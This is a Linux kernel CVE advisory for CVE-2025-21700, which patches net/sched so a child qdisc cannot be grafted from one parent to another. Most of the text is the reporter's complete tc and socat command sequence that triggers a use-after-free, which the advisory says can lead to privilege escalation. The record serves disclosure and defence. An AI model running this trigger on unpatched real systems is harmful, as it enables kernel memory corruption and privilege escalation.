CVE-2025-21700

In the Linux kernel, the following vulnerability has been resolved:

net: sched: Disallow replacing of child qdisc from one parent to another

Lion Ackermann was able to create a UAF which can be abused for privilege

escalation with the following script

Step 1. create root qdisc

tc qdisc add dev lo root handle 1:0 drr

step2. a class for packet aggregation do demonstrate uaf

tc class add dev lo classid 1:1 drr

step3. a class for nesting

tc class add dev lo classid 1:2 drr

step4. a class to graft qdisc to

tc class add dev lo classid 1:3 drr

step5.

tc qdisc add dev lo parent 1:1 handle 2:0 plug limit 1024

step6.

tc qdisc add dev lo parent 1:2 handle 3:0 drr

step7.

tc class add dev lo classid 3:1 drr

step 8.

tc qdisc add dev lo parent 3:1 handle 4:0 pfifo

step 9. Display the class/qdisc layout

tc class ls dev lo

class drr 1:1 root leaf 2: quantum 64Kb

class drr 1:2 root leaf 3: quantum 64Kb

class drr 3:1 root leaf 4: quantum 64Kb

tc qdisc ls

qdisc drr 1: dev lo root refcnt 2

qdisc plug 2: dev lo parent 1:1

qdisc pfifo 4: dev lo parent 3:1 limit 1000p

qdisc drr 3: dev lo parent 1:2

step10. trigger the bug <=== prevented by this patch

tc qdisc replace dev lo parent 1:3 handle 4:0

step 11. Redisplay again the qdiscs/classes

tc class ls dev lo

class drr 1:1 root leaf 2: quantum 64Kb

class drr 1:2 root leaf 3: quantum 64Kb

class drr 1:3 root leaf 4: quantum 64Kb

class drr 3:1 root leaf 4: quantum 64Kb

tc qdisc ls

qdisc drr 1: dev lo root refcnt 2

qdisc plug 2: dev lo parent 1:1

qdisc pfifo 4: dev lo parent 3:1 refcnt 2 limit 1000p

qdisc drr 3: dev lo parent 1:2

Observe that a) parent for 4:0 does not change despite the replace request.

There can only be one parent. b) refcount has gone up by two for 4:0 and

c) both class 1:3 and 3:1 are pointing to it.

Step 12. send one packet to plug

echo "" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10001))

step13. send one packet to the grafted fifo

echo "" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10003))

step14. lets trigger the uaf

tc class delete dev lo classid 1:3

tc class delete dev lo classid 1:1

The semantics of "replace" is for a del/add _on the same node_ and not

a delete from one node(3:1) and add to another node (1:3) as in step10.

While we could "fix" with a more complex approach there could be

consequences to expectations so the patch takes the preventive approach of

"disallow such config".

Joint work with Lion Ackermann <[email protected]>